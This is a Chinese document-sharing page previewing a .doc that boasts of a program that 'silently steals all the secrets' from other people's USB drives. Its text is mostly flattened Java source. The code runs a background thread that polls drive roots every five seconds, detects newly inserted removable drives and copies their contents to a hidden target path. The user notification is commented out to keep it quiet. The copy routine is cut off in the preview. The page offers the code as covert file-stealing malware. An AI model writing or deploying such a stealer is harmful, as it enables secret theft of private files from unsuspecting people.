写了一个“默默奉献的文件搬运工”,无声无息地就把别人U盘里的秘密全都偷走了.doc
《写了一个“默默奉献的文件搬运工”,无声无息地就把别人U盘里的秘密全都偷走了.doc》由会员分享,可在线阅读,更多相关《写了一个“默默奉献的文件搬运工”,无声无息地就把别人U盘里的秘密全都偷走了.doc(11页珍藏版)》请在三一文库上搜索。
1、来自我的QQ空间:http:/ cn.tyz.main;/import javax.swing.JOptionPane;import cn.tyz.utils.PublicUtils;public class Main/ 程序入口public static void main(String args)/ 弹出友情提示(取消提示节约20MB左右内存)/JOptionPane.showMessageDialog(/null, 准备就绪.n拷贝到: + targetPath, U盘监听已启动, 1);/ 启动U盘监听PublicUtils.diskListener();源代码PublicUtils.
2、java:package cn.tyz.utils;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.BufferedReader;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.FileReader;import java.text.SimpleDateFormat;import java.util.ArrayList;imp
3、ort java.util.Date;public class PublicUtilsstatic ArrayList partitions;/ 系统存在分区static int count;/ 存在分区数目static ArrayList sourceFiles;/ 待监听到的U盘对象/ 静态初始化系统存在分区和数目和待监听到的U盘对象staticpartitions = getAllPartition();count = partitions.size();sourceFiles = new ArrayList();/ 获取系统所有分区public static ArrayList get
4、AllPartition()ArrayList list = new ArrayList();File files = File.listRoots();for(File f : files)list.add(f);return list;/ 监听是否有可移动磁盘插入public static void diskListener()new Thread()public void run() while(true)ArrayList list = getAllPartition();/ 检测是否有U盘插入if(list.size() partitions.size()/ 有U盘插入(可处理多个U
5、盘的插入)for(int i = 0; i list.size() ; i+)/ 遍历所有分区if(!partitions.contains(list.get(i)/ 存入插入的U盘对象sourceFiles.add(list.get(i);doCopy(new PublicUtils().getTargetPath();/ 执行复制操作partitions.clear();/ 清空存在分区partitions = list;/ 更新存在分区if(list.size() partitions.size()/ 有U盘拔出sourceFiles = partitions;for(int i = 0
6、; i partitions.size(); i+)/ 遍历所有分区if(!list.contains(partitions.get(i)/ 移除拔出的U盘对象sourceFiles.remove(partitions.get(i);partitions.clear();/ 清空存在分区partitions = list;/ 更新存在分区count = list.size(); / 刷新分区数目try Thread.sleep(5000);catch (InterruptedException e) e.printStackTrace();/ 新启线程调用外部类的复制函数执行复制private
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 一个 默默 奉献 文件 搬运工 无声无息 别人 秘密 全都 走了
链接地址:https://www.31doc.com/p-2505234.html